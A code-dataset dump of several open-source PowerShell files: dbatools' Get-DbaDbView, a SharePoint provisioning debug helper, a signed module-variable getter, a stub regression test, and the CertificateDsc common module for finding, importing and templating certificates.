code
stringlengths
2
1.05M
repo_name
stringlengths
5
101
path
stringlengths
4
991
language
stringclasses
3 values
license
stringclasses
5 values
size
int64
2
1.05M
function Get-DbaDbView { <# .SYNOPSIS Gets database views for each SqlInstance. .DESCRIPTION Gets database views for each SqlInstance. .PARAMETER SqlInstance The target SQL Server instance or instances. This can be a collection and receive pipeline input to allow the function to be executed against multiple SQL Server instances. .PARAMETER SqlCredential Login to the target instance using alternative credentials. Accepts PowerShell credentials (Get-Credential). Windows Authentication, SQL Server Authentication, Active Directory - Password, and Active Directory - Integrated are all supported. For MFA support, please use Connect-DbaInstance. .PARAMETER Database To get views from specific database(s) - this list is auto populated from the server. .PARAMETER ExcludeDatabase The database(s) to exclude - this list is auto populated from the server. .PARAMETER ExcludeSystemView This switch removes all system objects from the view collection. .PARAMETER View The view(s) to include - all views are selected if not populated .PARAMETER InputObject Enables piping from Get-DbaDatabase .PARAMETER EnableException By default, when something goes wrong we try to catch it, interpret it and give you a friendly warning message. This avoids overwhelming you with "sea of red" exceptions, but is inconvenient because it basically disables advanced scripting. Using this switch turns this "nice by default" feature off and enables you to catch exceptions with your own try/catch. .NOTES Tags: Security, Database Author: Klaas Vandenberghe (@PowerDbaKlaas) Website: https://dbatools.io Copyright: (c) 2018 by dbatools, licensed under MIT License: MIT https://opensource.org/licenses/MIT .LINK https://dbatools.io/Get-DbaDbView .EXAMPLE PS C:\> Get-DbaDbView -SqlInstance sql2016 Gets all database views .EXAMPLE PS C:\> Get-DbaDbView -SqlInstance Server1 -Database db1 Gets the views for the db1 database .EXAMPLE PS C:\> Get-DbaDbView -SqlInstance Server1 -ExcludeDatabase db1 Gets the views for all databases except db1 .EXAMPLE PS C:\> Get-DbaDbView -SqlInstance Server1 -ExcludeSystemView Gets the views for all databases that are not system objects (there can be 400+ system views in each DB) .EXAMPLE PS C:\> 'Sql1','Sql2/sqlexpress' | Get-DbaDbView Gets the views for the databases on Sql1 and Sql2/sqlexpress .EXAMPLE PS C:\> Get-DbaDatabase -SqlInstance Server1 -ExcludeSystem | Get-DbaDbView Pipe the databases from Get-DbaDatabase into Get-DbaDbView .EXAMPLE PS C:\> Get-DbaDbView -SqlInstance Server1 -Database db1 -View vw1 Gets the view vw1 for the db1 database #> [CmdletBinding()] param ( [Parameter(ValueFromPipeline)] [DbaInstanceParameter[]]$SqlInstance, [PSCredential]$SqlCredential, [object[]]$Database, [object[]]$ExcludeDatabase, [switch]$ExcludeSystemView, [string[]]$View, [Parameter(ValueFromPipeline)] [Microsoft.SqlServer.Management.Smo.Database[]]$InputObject, [switch]$EnableException ) begin { if ($View) { $fqtns = @() foreach ($v in $View) { $fqtn = Get-ObjectNameParts -ObjectName $v if (-not $fqtn.Parsed) { Write-Message -Level Warning -Message "Please check you are using proper three-part names. If your search value contains special characters you must use [ ] to wrap the name. The value $t could not be parsed as a valid name." Continue } $fqtns += [PSCustomObject] @{ Database = $fqtn.Database Schema = $fqtn.Schema View = $fqtn.Name InputValue = $fqtn.InputValue } } if (-not $fqtns) { Stop-Function -Message "No Valid View specified" -ErrorRecord $_ -Target $instance -Continue } } } process { if (Test-Bound SqlInstance) { $InputObject = Get-DbaDatabase -SqlInstance $SqlInstance -SqlCredential $SqlCredential -Database $Database -ExcludeDatabase $ExcludeDatabase } foreach ($db in $InputObject) { $db.Views.Refresh($true) # This will ensure the list of views is up-to-date if ($fqtns) { $views = @() foreach ($fqtn in $fqtns) { # If the user specified a database in a three-part name, and it's not the # database currently being processed, skip this view. if ($fqtn.Database) { if ($fqtn.Database -ne $db.Name) { continue } } $vw = $db.Views | Where-Object { $_.Name -in $fqtn.View -and $fqtn.Schema -in ($_.Schema, $null) -and $fqtn.Database -in ($_.Parent.Name, $null) } if (-not $vw) { Write-Message -Level Verbose -Message "Could not find view $($fqtn.Name) in $db on $server" } $views += $vw } } else { $views = $db.Views } if (-not $db.IsAccessible) { Write-Message -Level Warning -Message "Database $db is not accessible. Skipping" continue } if (-not $views) { Write-Message -Message "No views exist in the $db database on $instance" -Target $db -Level Verbose continue } if (Test-Bound -ParameterName ExcludeSystemView) { $views = $views | Where-Object { -not $_.IsSystemObject } } $defaults = 'ComputerName', 'InstanceName', 'SqlInstance', 'Database', 'Schema', 'CreateDate', 'DateLastModified', 'Name' foreach ($sqlview in $views) { Add-Member -Force -InputObject $sqlview -MemberType NoteProperty -Name ComputerName -value $sqlview.Parent.ComputerName Add-Member -Force -InputObject $sqlview -MemberType NoteProperty -Name InstanceName -value $sqlview.Parent.InstanceName Add-Member -Force -InputObject $sqlview -MemberType NoteProperty -Name SqlInstance -value $sqlview.Parent.SqlInstance Add-Member -Force -InputObject $sqlview -MemberType NoteProperty -Name Database -value $db.Name Select-DefaultView -InputObject $sqlview -Property $defaults } } } }
alevyinroc/dbatools
functions/Get-DbaDbView.ps1
PowerShell
mit
6,903
$projectRoot = Resolve-Path "$PSScriptRoot\.." $script:ModuleName = 'ProxmoxCLI' Describe "Regression tests" -Tag Build { Context "Github Issues" { # $issues = Get-GitHubIssue -Uri 'https://github.com/quonic/ProxmoxCLI' } }
quonic/ProxmoxCLI
tests/Regression.Tests.ps1
PowerShell
mit
242
# # BaseFunctions.ps1 # function Start-AP_SPProvisioning_DebugModus { [CmdletBinding()] param ( [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true,Position=0)] [System.Xml.XmlLinkedNode]$xmlActionObject ) Begin { Write-Verbose "Start Start-AP_SPProvisioning_DebugModus" } Process { if($xmlActionObject.Modus -eq "true") { Use-AP_SPProvisioning_PnP_Set-PnPTraceLog -modus $true } else { Use-AP_SPProvisioning_PnP_Set-PnPTraceLog -modus $false } } End { Write-Verbose "End Start-AP_SPProvisioning_DebugModus" } }
AlegriGroup/Alegri.ActionPack.SharePoint.Provisioning.Powershell
AlegriActionPackSharePointProvisioning/AlegriActionPackSharePointProvisioning/PSScripts/BaseFunctions.ps1
PowerShell
mit
614
function Get-ModuleVariable { [CmdletBinding( SupportsShouldProcess = $false , ConfirmImpact = 'Low' , HelpURI = 'http://dfch.biz/PS/Appclusive/Client/Get-ModuleVariable/' )] [OutputType([hashtable])] PARAM ( # Specifies a references to the Appclusive endpoints [Parameter(Mandatory = $false)] [hashtable] $InputObject = (Get-Variable -Name $MyInvocation.MyCommand.Module.PrivateData.MODULEVAR -ValueOnly) ) $OutputParameter = $InputObject; return $OutputParameter; } # # Copyright 2015 d-fens GmbH # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # SIG # Begin signature block # MIIXDwYJKoZIhvcNAQcCoIIXADCCFvwCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR # AgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUkkHs7+JjMOAJOiFawuwmKCAu # ml+gghHCMIIEFDCCAvygAwIBAgILBAAAAAABL07hUtcwDQYJKoZIhvcNAQEFBQAw # VzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNV # BAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw0xMTA0 # MTMxMDAwMDBaFw0yODAxMjgxMjAwMDBaMFIxCzAJBgNVBAYTAkJFMRkwFwYDVQQK # ExBHbG9iYWxTaWduIG52LXNhMSgwJgYDVQQDEx9HbG9iYWxTaWduIFRpbWVzdGFt # cGluZyBDQSAtIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlO9l # +LVXn6BTDTQG6wkft0cYasvwW+T/J6U00feJGr+esc0SQW5m1IGghYtkWkYvmaCN # d7HivFzdItdqZ9C76Mp03otPDbB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5Xojsgf48JWhhtYTy7hNi2/OcwhKJTqwC8n7HYyP88ABtU43mX4IXSX+g5HoYIC # ojCCAp4GCSqGSIb3DQEJBjGCAo8wggKLAgEBMGgwUjELMAkGA1UEBhMCQkUxGTAX # BgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExKDAmBgNVBAMTH0dsb2JhbFNpZ24gVGlt # ZXN0YW1waW5nIENBIC0gRzICEhEh1pmnZJc+8fhCfukZzFNBFDAJBgUrDgMCGgUA # oIH9MBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE2 # MDgzMTE5MTY0NVowIwYJKoZIhvcNAQkEMRYEFNcyg+PCoVsH7l893JKiM9Ktkw3r # MIGdBgsqhkiG9w0BCRACDDGBjTCBijCBhzCBhAQUY7gvq2H1g5CWlQULACScUCkz # 7HkwbDBWpFQwUjELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYt # c2ExKDAmBgNVBAMTH0dsb2JhbFNpZ24gVGltZXN0YW1waW5nIENBIC0gRzICEhEh # 1pmnZJc+8fhCfukZzFNBFDANBgkqhkiG9w0BAQEFAASCAQAUG7gjyFNE6mup/rJ3 # FRFCVHGSJBhMbJ8mLN6WWNJd79kh3IL0XxoSkvS9+DRiXqvE1PF+Rly32FqJZYf1 # SHhSqrXjh3LGFJEPDVP1DkeEHm/MJw6Il3bsvD/u4Y8nmwCMzzIBY1+62FCI2E+k # k8vNhvkdrDQk3/o9uz9egFQJgkXH6j9zZF/8Yz/VTI3sqkdluuD2O3fArMgAezUu # C/w4NTktNH6nDp15TnMkH4o5R0w/cxvqxhtURlnisYKr8MAoZuvtOOyBLoujv+mt # AGHRCjmL7Xcxc1zuq6UnT0ckDkPea2xBUdICqa5lauNk5a03ktyhlklk8FgQga9G # iVVY # SIG # End signature block
dfensgmbh/biz.dfch.PS.Appclusive.Client
src/Get-ModuleVariable.ps1
PowerShell
apache-2.0
9,374
# Import the Networking Resource Helper Module Import-Module -Name (Join-Path -Path (Split-Path -Path $PSScriptRoot -Parent) ` -ChildPath (Join-Path -Path 'CertificateDsc.ResourceHelper' ` -ChildPath 'CertificateDsc.ResourceHelper.psm1')) # Import Localization Strings $localizedData = Get-LocalizedData ` -ResourceName 'CertificateDsc.Common' ` -ResourcePath $PSScriptRoot <# .SYNOPSIS Validates the existence of a file at a specific path. .PARAMETER Path The location of the file. Supports any path that Test-Path supports. .PARAMETER Quiet Returns $false if the file does not exist. By default this function throws an exception if the file is missing. .EXAMPLE Test-CertificatePath -Path '\\server\share\Certificates\mycert.cer' .EXAMPLE Test-CertificatePath -Path 'C:\certs\my_missing.cer' -Quiet .EXAMPLE 'D:\CertRepo\a_cert.cer' | Test-CertificatePath .EXAMPLE Get-ChildItem -Path D:\CertRepo\*.cer | Test-CertificatePath #> function Test-CertificatePath { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ValueFromPipeline)] [String[]] $Path, [Parameter()] [Switch] $Quiet ) Process { foreach ($pathNode in $Path) { if ($pathNode | Test-Path -PathType Leaf) { $true } elseif ($Quiet) { $false } else { New-InvalidArgumentException ` -Message ($LocalizedData.FileNotFoundError -f $pathNode) ` -ArgumentName 'Path' } } } } # end function Test-CertificatePath <# .SYNOPSIS Validates whether a given certificate is valid based on the hash algoritms available on the system. .PARAMETER Thumbprint One or more thumbprints to Test. .PARAMETER Quiet Returns $false if the thumbprint is not valid. By default this function throws an exception if validation fails. .EXAMPLE Test-Thumbprint ` -Thumbprint fd94e3a5a7991cb6ed3cd5dd01045edf7e2284de .EXAMPLE Test-Thumbprint ` -Thumbprint fd94e3a5a7991cb6ed3cd5dd01045edf7e2284de,0000e3a5a7991cb6ed3cd5dd01045edf7e220000 ` -Quiet .EXAMPLE Get-ChildItem -Path Cert:\LocalMachine -Recurse | Where-Object -FilterScript { $_.Thumbprint } | Select-Object -Expression Thumbprint | Test-Thumbprint -Verbose #> function Test-Thumbprint { [CmdletBinding()] param ( [Parameter(Mandatory = $true, ValueFromPipeline)] [ValidateNotNullOrEmpty()] [System.String[]] $Thumbprint, [Parameter()] [Switch] $Quiet ) Begin { # Get FIPS registry key $fips = [System.Int32] (Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy' -ErrorAction SilentlyContinue).Enabled # Get a list of Hash Providers $allHashProviders = [System.AppDomain]::CurrentDomain.GetAssemblies().GetTypes() if ($fips -eq $true) { # Support only FIPS compliant Hash Algorithms $hashProviders = $allHashProviders | Where-Object -FilterScript { $_.BaseType.BaseType -eq [System.Security.Cryptography.HashAlgorithm] -and ($_.Name -cmatch 'Provider$' -and $_.Name -cnotmatch 'MD5') } } else { $hashProviders = $allHashProviders | Where-Object -FilterScript { $_.BaseType.BaseType -eq [System.Security.Cryptography.HashAlgorithm] -and ($_.Name -cmatch 'Managed$' -or $_.Name -cmatch 'Provider$') } } # Get a list of all Valid Hash types and lengths into an array $validHashes = @() foreach ($hashProvider in $hashProviders) { $bitSize = ( New-Object -TypeName $hashProvider ).HashSize $validHash = New-Object ` -TypeName PSObject ` -Property @{ Hash = $hashProvider.BaseType.Name BitSize = $bitSize HexLength = $bitSize / 4 } $validHashes += @( $validHash ) } } Process { foreach ($hash in $Thumbprint) { $isValid = $false foreach ($algorithm in $validHashes) { if ($hash -cmatch "^[a-fA-F0-9]{$($algorithm.HexLength)}$") { $isValid = $true } } if ($Quiet -or $isValid) { $isValid } else { New-InvalidOperationException ` -Message ($LocalizedData.InvalidHashError -f $hash) } } } } # end function Test-Thumbprint <# .SYNOPSIS Locates one or more certificates using the passed certificate selector parameters. If more than one certificate is found matching the selector criteria, they will be returned in order of descending expiration date. .PARAMETER Thumbprint The thumbprint of the certificate to find. .PARAMETER FriendlyName The friendly name of the certificate to find. .PARAMETER Subject The subject of the certificate to find. .PARAMETER DNSName The subject alternative name of the certificate to export must contain these values. .PARAMETER Issuer The issuer of the certificate to find. .PARAMETER KeyUsage The key usage of the certificate to find must contain these values. .PARAMETER EnhancedKeyUsage The enhanced key usage of the certificate to find must contain these values. .PARAMETER Store The Windows Certificate Store Name to search for the certificate in. Defaults to 'My'. .PARAMETER AllowExpired Allows expired certificates to be returned. #> function Find-Certificate { [CmdletBinding()] [OutputType([System.Security.Cryptography.X509Certificates.X509Certificate2[]])] param ( [Parameter()] [String] $Thumbprint, [Parameter()] [String] $FriendlyName, [Parameter()] [String] $Subject, [Parameter()] [String[]] $DNSName, [Parameter()] [String] $Issuer, [Parameter()] [String[]] $KeyUsage, [Parameter()] [String[]] $EnhancedKeyUsage, [Parameter()] [String] $Store = 'My', [Parameter()] [Boolean] $AllowExpired = $false ) $certPath = Join-Path -Path 'Cert:\LocalMachine' -ChildPath $Store if (-not (Test-Path -Path $certPath)) { # The Certificte Path is not valid New-InvalidArgumentException ` -Message ($LocalizedData.CertificatePathError -f $certPath) ` -ArgumnentName 'Store' } # if # Assemble the filter to use to select the certificate $certFilters = @() if ($PSBoundParameters.ContainsKey('Thumbprint')) { $certFilters += @('($_.Thumbprint -eq $Thumbprint)') } # if if ($PSBoundParameters.ContainsKey('FriendlyName')) { $certFilters += @('($_.FriendlyName -eq $FriendlyName)') } # if if ($PSBoundParameters.ContainsKey('Subject')) { $certFilters += @('($_.Subject -eq $Subject)') } # if if ($PSBoundParameters.ContainsKey('Issuer')) { $certFilters += @('($_.Issuer -eq $Issuer)') } # if if (-not $AllowExpired) { $certFilters += @('(((Get-Date) -le $_.NotAfter) -and ((Get-Date) -ge $_.NotBefore))') } # if if ($PSBoundParameters.ContainsKey('DNSName')) { $certFilters += @('(@(Compare-Object -ReferenceObject $_.DNSNameList.Unicode -DifferenceObject $DNSName | Where-Object -Property SideIndicator -eq "=>").Count -eq 0)') } # if if ($PSBoundParameters.ContainsKey('KeyUsage')) { $certFilters += @('(@(Compare-Object -ReferenceObject ($_.Extensions.KeyUsages -split ", ") -DifferenceObject $KeyUsage | Where-Object -Property SideIndicator -eq "=>").Count -eq 0)') } # if if ($PSBoundParameters.ContainsKey('EnhancedKeyUsage')) { $certFilters += @('(@(Compare-Object -ReferenceObject ($_.EnhancedKeyUsageList.FriendlyName) -DifferenceObject $EnhancedKeyUsage | Where-Object -Property SideIndicator -eq "=>").Count -eq 0)') } # if # Join all the filters together $certFilterScript = '(' + ($certFilters -join ' -and ') + ')' Write-Verbose ` -Message ($LocalizedData.SearchingForCertificateUsingFilters -f $store, $certFilterScript) ` -Verbose $certs = Get-ChildItem -Path $certPath | Where-Object -FilterScript ([ScriptBlock]::Create($certFilterScript)) # Sort the certificates if ($certs.count -gt 1) { $certs = $certs | Sort-Object -Descending -Property 'NotAfter' } # if return $certs } # end function Find-Certificate <# .SYNOPSIS Get CDP container. .DESCRIPTION Gets the configuration data partition from the active directory configuration naming context. .PARAMETER DomainName The domain name. #> function Get-CdpContainer { [cmdletBinding()] [OutputType([psobject])] param( [Parameter()] [String] $DomainName ) if (-not $DomainName) { $configContext = ([ADSI]'LDAP://RootDSE').configurationNamingContext if (-not $configContext) { # The computer is not domain joined New-InvalidOperationException ` -Message ($LocalizedData.DomainNotJoinedError) } } else { $ctx = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $DomainName) $configContext = 'CN=Configuration,{0}' -f ([System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($ctx).GetDirectoryEntry().distinguishedName[0]) } Write-Verbose ` -Message ($LocalizedData.ConfigurationNamingContext -f $configContext.toString()) ` -Verbose $cdpContainer = [ADSI]('LDAP://CN=CDP,CN=Public Key Services,CN=Services,{0}' -f $configContext.toString()) return $cdpContainer } # end function Get-CdpContainer <# .SYNOPSIS Automatically locate a certificate authority in Active Directory .DESCRIPTION Automatically locates a certificate autority in Active Directory environments by leveraging ADSI to look inside the container CDP and subsequently trying to certutil -ping every located CA until one is found. .PARAMETER DomainName The domain name of the domain that will be used to locate the CA. Can be left empty to use the current domain. #> function Find-CertificateAuthority { [cmdletBinding()] [OutputType([psobject])] param( [Parameter()] [String] $DomainName ) Write-Verbose ` -Message ($LocalizedData.StartLocateCAMessage) ` -Verbose $cdpContainer = Get-CdpContainer @PSBoundParameters -ErrorAction Stop $caFound = $false foreach ($item in $cdpContainer.Children) { if (-not $caFound) { $caServerFQDN = ($item.distinguishedName -split '=|,')[1] $caRootName = ($item.Children.distinguishedName -split '=|,')[1] $certificateAuthority = [PSObject] @{ CARootName = $caRootName CAServerFQDN = $caServerFQDN } if (Test-CertificateAuthority ` -CARootName $caRootName ` -CAServerFQDN $caServerFQDN) { $caFound = $true break } } } if ($caFound) { Write-Verbose ` -Message ($LocalizedData.CaFoundMessage -f $certificateAuthority.CAServerFQDN, $certificateAuthority.CARootName) ` -Verbose return $certificateAuthority } else { New-InvalidOperationException ` -Message ($LocalizedData.NoCaFoundError) } } # end function Find-CertificateAuthority <# .SYNOPSIS Wraps a single ADSI command to get the domain naming context so it can be mocked. #> function Get-DirectoryEntry { [CmdletBinding()] param () return ([adsi] 'LDAP://RootDSE').Get('rootDomainNamingContext') } <# .SYNOPSIS Test to see if the specified ADCS CA is available. .PARAMETER CAServerFQDN The FQDN of the ADCS CA to test for availability. .PARAMETER CARootName The name of the ADCS CA to test for availability. #> function Test-CertificateAuthority { [cmdletBinding()] [OutputType([Boolean])] param( [Parameter()] [System.String] $CAServerFQDN, [Parameter()] [System.String] $CARootName ) Write-Verbose ` -Message ($LocalizedData.StartPingCAMessage) ` -Verbose $locatorInfo = New-Object -TypeName System.Diagnostics.ProcessStartInfo $locatorInfo.FileName = 'certutil.exe' $locatorInfo.Arguments = ('-ping "{0}\{1}"' -f $CAServerFQDN, $CARootName) # Certutil does not make use of standard error stream $locatorInfo.RedirectStandardError = $false $locatorInfo.RedirectStandardOutput = $true $locatorInfo.UseShellExecute = $false $locatorInfo.CreateNoWindow = $true $locatorProcess = New-Object -TypeName System.Diagnostics.Process $locatorProcess.StartInfo = $locatorInfo $null = $locatorProcess.Start() $locatorOut = $locatorProcess.StandardOutput.ReadToEnd() $null = $locatorProcess.WaitForExit() Write-Verbose ` -Message ($LocalizedData.CaPingMessage -f $locatorProcess.ExitCode, $locatorOut) ` -Verbose if ($locatorProcess.ExitCode -eq 0) { Write-Verbose ` -Message ($LocalizedData.CaOnlineMessage -f $CAServerFQDN, $CARootName) ` -Verbose return $true } else { Write-Verbose ` -Message ($LocalizedData.CaOfflineMessage -f $CAServerFQDN, $CARootName) ` -Verbose return $false } } # end function Test-CertificateAuthority <# .SYNOPSIS Get certificate template names from Active Directory for x509 certificates. .DESCRIPTION Gets the certificate templates from Active Directory by using a DirectorySearcher object to find all objects with an objectClass of pKICertificateTemplate from the search root of CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration .NOTES The domain variable is populated based on the domain of the user running the function. When run as System this will return the domain of computer. Normally this won't make any difference unless the user is from a foreign domain. #> function Get-CertificateTemplatesFromActiveDirectory { [CmdletBinding()] [OutputType([PSCustomObject[]])] param () try { $domain = Get-DirectoryEntry $searcher = New-Object -TypeName DirectoryServices.DirectorySearcher $searcher.Filter = '(objectclass=pKICertificateTemplate)' $searcher.SearchRoot = 'LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,{0}' -f $domain $searchResults = $searcher.FindAll() } catch { Write-Verbose -Message $_.Exception.Message Write-Warning -Message $LocalizedData.ActiveDirectoryTemplateSearch } $adTemplates = @() foreach ($searchResult in $searchResults) { $templateData = @{} $properties = New-Object -TypeName Object[] -ArgumentList $searchResult.Properties.Count $searchResult.Properties.CopyTo($properties, 0) $properties.ForEach({ $templateData[$_.Name] = ($_.Value | Out-String).Trim() }) $adTemplates += [PSCustomObject] $templateData } return $adTemplates } <# .SYNOPSIS Gets information about the certificate template. .DESCRIPTION This function returns the information about the certificate template by retreiving the available templates from Active Directory and matching the formatted certificate template name against this list. In addition to the template name the display name, template OID, the major version and minor version is also returned. .PARAMETER FormattedTemplate The text from the certificate template extension, retrieved from Get-CertificateTemplateText. #> function Get-CertificateTemplateInformation { [OutputType([PSCustomObject])] param ( [Parameter(Mandatory = $true)] [String] $FormattedTemplate ) $templateInformation = @{} switch -Regex ($FormattedTemplate) { <# Example of the certificate extension template text Template=Display Name 1(1.3.6.1.4.1.311.21.8.5734392.6195358.14893705.12992936.3444946.62.3384218.1234567) Major Version Number=100 Minor Version Number=5 If the Display Name of the template has not been found then FormattedText would like something like this. Template=1.3.6.1.4.1.311.21.8.5734392.6195358.14893705.12992936.3444946.62.3384218.1234567 Major Version Number=100 Minor Version Number=5 The Name of the template is found by matching the OID or the Display Name against the list of temples in AD. #> 'Template=(?:(?<DisplayName>.+)\((?<Oid>[\d.]+)\))|(?<Oid>[\d.]+)\s*Major\sVersion\sNumber=(?<MajorVersion>\d+)\s*Minor\sVersion\sNumber=(?<MinorVersion>\d+)' { [Array] $adTemplates = Get-CertificateTemplatesFromActiveDirectory if ([String]::IsNullOrEmpty($Matches.DisplayName)) { $template = $adTemplates.Where({ $_.'msPKI-Cert-Template-OID' -eq $Matches.Oid }) $Matches['DisplayName'] = $template.DisplayName } else { $template = $adTemplates.Where({ $_.'DisplayName' -eq $Matches.DisplayName }) } $Matches['Name'] = $template.Name if ($template.Count -eq 0) { Write-Warning -Message ($LocalizedData.TemplateNameResolutionError -f ('{0}({1})' -f $Matches.DisplayName, $Matches.Oid)) } $templateInformation['Name'] = $Matches.Name $templateInformation['DisplayName'] = $Matches.DisplayName $templateInformation['Oid'] = $Matches.Oid $templateInformation['MajorVersion'] = $Matches.MajorVersion $templateInformation['MinorVersion'] = $Matches.MinorVersion } # The certificate extension template text just contains the name of the template so return that. '^(?<TemplateName>\w+)\s?$' { $templateInformation['Name'] = $Matches.TemplateName } default { Write-Warning -Message ($LocalizedData.TemplateNameNotFound -f $FormattedTemplate) } } return [PSCustomObject] $templateInformation } <# .SYNOPSIS Gets the formatted text output from an X509 certificate template extension. .DESCRIPTION The supplied X509 Extension Collected is processed to find any Certificate Template extensions. If a template extension is found the Format method is called with the parameter $true and the text output is returned. .PARAMETER TemplateExtensions The X509 extensions collection from and X509 certificate to be searched for a certificate template extension. #> function Get-CertificateTemplateExtensionText { [OutputType([String])] param ( [Parameter(Mandatory = $true)] [System.Security.Cryptography.X509Certificates.X509ExtensionCollection] $TemplateExtensions ) $templateOidNames = 'Certificate Template Information', 'Certificate Template Name' $templateExtension = $TemplateExtensions.Where({ $_.Oid.FriendlyName -in $templateOidNames })[0] if ($null -ne $templateExtension) { return $templateExtension.Format($true) } } <# .SYNOPSIS Get a certificate template name from an x509 certificate. .DESCRIPTION Gets the name of the template used for the certificate that is passed to this cmdlet by translating the OIDs "1.3.6.1.4.1.311.21.7" or "1.3.6.1.4.1.311.20.2". .PARAMETER Certificate The certificate object the template name is needed for. #> function Get-CertificateTemplateName { [cmdletBinding()] [OutputType([System.String])] param ( [Parameter(Mandatory = $true)] [object] $Certificate ) if ($Certificate -isnot [System.Security.Cryptography.X509Certificates.X509Certificate2]) { return } $templateExtensionText = Get-CertificateTemplateExtensionText -TemplateExtensions $Certificate.Extensions if ($null -ne $templateExtensionText) { return Get-CertificateTemplateInformation -FormattedTemplate $templateExtensionText | Select-Object -ExpandProperty Name } } <# .SYNOPSIS Get certificate SAN .DESCRIPTION Gets the first subject alternative name for the certificate that is passed to this cmdlet .PARAMETER Certificate The certificate object the subject alternative name is needed for #> function Get-CertificateSan { [cmdletBinding()] [OutputType([System.String])] param ( # The certificate for which the subject alternative names are needed [Parameter(Mandatory = $true)] [object] $Certificate ) if ($Certificate -isnot [System.Security.Cryptography.X509Certificates.X509Certificate2]) { return } $subjectAlternativeName = $null $sanExtension = $Certificate.Extensions | Where-Object { $_.Oid.FriendlyName -match 'subject alternative name' } if ($null -eq $sanExtension) { return $subjectAlternativeName } $sanObjects = New-Object -ComObject X509Enrollment.CX509ExtensionAlternativeNames $altNamesStr = [System.Convert]::ToBase64String($sanExtension.RawData) $sanObjects.InitializeDecode(1, $altNamesStr) if ($sanObjects.AlternativeNames.Count -gt 0) { $subjectAlternativeName = $sanObjects.AlternativeNames[0].strValue } return $subjectAlternativeName } <# .SYNOPSIS Tests whether or not the command with the specified name exists. .PARAMETER Name The name of the command to test for. #> function Test-CommandExists { [OutputType([System.Boolean])] [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Name ) $command = Get-Command -Name $Name -ErrorAction 'SilentlyContinue' return ($null -ne $command) } <# .SYNOPSIS This function imports a 509 public key certificate to the specific Store. .PARAMETER FilePath The path to the certificate file to import. .PARAMETER CertStoreLocation The Certificate Store and Location Path to import the certificate to. #> function Import-CertificateEx { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.String] $FilePath, [Parameter(Mandatory = $true)] [System.String] $CertStoreLocation ) $location = Split-Path -Path (Split-Path -Path $CertStoreLocation -Parent) -Leaf $store = Split-Path -Path $CertStoreLocation -Leaf $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2 $cert.Import($FilePath) $certStore = New-Object ` -TypeName System.Security.Cryptography.X509Certificates.X509Store ` -ArgumentList ($store, $location) $certStore.Open('MaxAllowed') $certStore.Add($cert) $certStore.Close() } <# .SYNOPSIS This function imports a Pfx public - private certificate to the specific Certificate Store Location. .PARAMETER FilePath The path to the certificate file to import. .PARAMETER CertStoreLocation The Certificate Store and Location Path to import the certificate to. .PARAMETER Exportable The parameter controls if certificate will be able to export the private key. .PARAMETER Password The password that the certificate located at the FilePath needs to be imported. #> function Import-PfxCertificateEx { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [System.String] $FilePath, [Parameter(Mandatory = $true)] [System.String] $CertStoreLocation, [Parameter(Mandatory = $false)] [Switch] $Exportable, [Parameter(Mandatory = $false)] [System.Security.SecureString] $Password ) $location = Split-Path -Path (Split-Path -Path $CertStoreLocation -Parent) -Leaf $store = Split-Path -Path $CertStoreLocation -Leaf $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2 $flags = [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet if ($Exportable) { $flags = $flags -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable } if ($Password) { $cert.Import($FilePath, $Password, $flags) } else { $cert.Import($FilePath, $flags) } $certStore = New-Object ` -TypeName System.Security.Cryptography.X509Certificates.X509Store ` -ArgumentList @($store, $location) $certStore.Open('MaxAllowed') $certStore.Add($cert) $certStore.Close() } <# .SYNOPSIS This function generates the path to a Windows Certificate Store. .PARAMETER Location The Windows Certificate Store Location. .PARAMETER Store The Windows Certificate Store Name. #> function Get-CertificateStorePath { [CmdletBinding()] [OutputType([System.String])] param ( [Parameter(Mandatory = $true)] [ValidateSet('CurrentUser', 'LocalMachine')] [System.String] $Location, [Parameter(Mandatory = $true)] [ValidateNotNullOrEmpty()] [System.String] $Store ) return 'Cert:' | Join-Path -ChildPath $Location | Join-Path -ChildPath $Store }
puppetlabs/puppetlabs-dsc
lib/puppet_x/dsc_resources/CertificateDsc/Modules/CertificateDsc.Common/CertificateDsc.Common.psm1
PowerShell
apache-2.0
27,763
